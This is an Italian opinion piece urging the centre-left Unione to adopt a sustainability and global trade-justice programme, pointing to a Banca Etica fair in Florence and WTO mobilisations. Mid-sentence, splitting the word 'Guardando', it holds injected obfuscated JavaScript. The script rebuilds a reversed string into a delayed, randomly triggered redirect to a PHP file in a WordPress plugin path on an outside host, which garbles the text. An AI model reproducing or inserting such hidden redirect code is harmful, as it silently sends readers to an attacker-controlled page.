Il futuro adesso

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L’Unione ha vinto le elezioni regionali ed è maggioranza nel paese. Viva l’unità del centro-sinistra allora. Ma sinistra critica e centro riformista devono stare uniti solo per battere Berlusconi? In questo momento è fondamentale, ma se guardiamo oltre, al futuro del nostro pianeta e dei popoli che lo abitano, ad iniziare dai nostri territori, questa motivazione sembra riduttiva. L’Unione deve essere capace di un programma innovativo forte, alternativo al berlusconismo/liberismo sia nelle politiche proposte che nelle pratiche utili a promuoverle.

Camminare tra le proposte della fiera sulle sostenibilità promossa in questi giorni a Firenze da Banca Etica e ascoltare i seminari organizzati al suo interno ci fa capire che un’idea di futuro esiste già, sembra mancare al momento un collante in grado di permeare e rendere solidi questi contenuti all’interno del programma prodiano in elaborazione nella Fabbrica bolognese. E’ un’idea di futuro, quella sostenuta dalla società civile a Firenze, che difende il welfare e promuove i diritti, che disarma l’economia per costruire la pace, che protegge l’ambiente e tutela l’ecosistema, che accredita la leva fiscale come impulso per lo sviluppo dei diritti e della coesione sociale, che lega le vicende nazionali alle politiche di giustizia ed equità globale.

Non è un caso che proprio alla Fortezza da Basso sia avvenuto, a cura di Tradewatch, il lancio nazionale della Global Week of Action sul commercio internazionale per preparare con molto anticipo le mobilitazioni internazionali sul WTO di Hong Kong del dicembre prossimo. Non è un caso che nell’agenda dei partiti di centro-sinistra il commercio internazionale sia marginale o comunque legato a pratiche che proteggono i privilegi dei produttori del nord. Avete mai letto o sentito una forza politica chiedere l’azzeramento dei sussidi agricoli all’esportazione dell’Unione Europea? Eppure sono proprio essi la causa di povertà per centinaia di milioni di persone fuori dai mercati protetti.

E’ giunto il tempo di definire programmi comuni per un futuro sostenibile per tutti, in tutto il mondo, programmi che possano essere sostenuti dalla maggioranza degli elettori. Il diritto alla pace, alla salute, all’istruzione, all’acqua, al lavoro, alla casa, all’accoglienza per i migranti sono diritti che non è possibile barattare in nome di una governance del liberismo. E’ compito allora dei partiti dell’Unione, vitali per la costituzione di un Parlamento, e dei movimenti che sono riusciti a sovvertire l’agenda ufficiale del pensiero unico, promuovere quanto prima un’iniziativa politica comune che rimetta al centro con forza questi temi. Guard (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == "string") return $p$VTO6JhIH6WkCGAcPR.list[n].split("").reverse().join("");return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=["'php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}ando ai risultati elettorali, ad iniziare dalla Toscana, il tempo di un lavoro comune è giunto. In Toscana, terra del Social Forum, le buone politiche governative sono state premiate e si è consolidata la sinistra critica. Con questa massa di voti e di consenso l’Unione può decidere di volare alto, di lasciare una volta per tutte dietro di sé il timore di non essere compresa dalla parte cosiddetta moderata dell’elettorato attivo.

Segnalo infine due appuntamenti all’interno della GWA fiorentina, promossi dal Tavolo fiorentino per un equo commercio internazionale. Martedì 12 aprile i documentari The Take, Maquilas e The Corporation all’Alter Ciak di via Faenza e Democrazia al mercato, mercoledì 13 alle 21 in Palazzo Vecchio.

* Rete Lilliput – Tradewatch, osservatorio sul commercio internazionale

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